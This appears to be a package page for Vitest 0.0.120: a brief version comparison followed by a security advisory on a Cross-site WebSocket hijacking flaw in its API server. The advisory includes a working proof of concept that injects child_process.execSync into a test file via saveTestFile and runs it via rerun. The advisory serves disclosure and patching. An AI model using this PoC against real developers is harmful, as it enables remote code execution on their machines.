Vitest is a blazing fast unit test framework powered by Vite, designed to provide a seamless and efficient testing experience for modern web development. Comparing versions 0.0.119 and 0.0.120, while seemingly minor increments, reveals subtle improvements crucial for developers. The core dependencies and devDependencies remain largely consistent, suggesting a focus on internal refinements and bug fixes rather than feature additions. This is reflected in the consistent use of chai, tinyspy, and other core tools for assertion and mocking.
The peerDependencies, vital for compatibility with other tools, remain unchanged, indicating that upgrading from 0.0.119 to 0.0.120 shouldn't introduce conflicts with existing Vite, jsdom, or happy-dom setups. A developer focused detail lies in the unpackedSize difference within the "dist" object. Version 0.0.120 is slightly smaller, at 1389193 bytes compared to 0.0.119's 1389216 bytes. This reduction, though small, suggests optimizations in the build process or code footprint. The releaseDate indicates a rapid iteration cycle, with only a few hours separating the releases, pointing to a responsive development team actively addressing issues and improving the user experience. Developers benefit from this quick iteration, gaining access to the latest fixes and refinements promptly. While the core functionality remains the same, version 0.0.120 signals a commitment to performance and stability, solidifying Vitest as a reliable choice for Vite-based testing.
All the vulnerabilities related to the version 0.0.120 of the package
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
This vulnerability can result in remote code execution for users that are using Vitest serve API.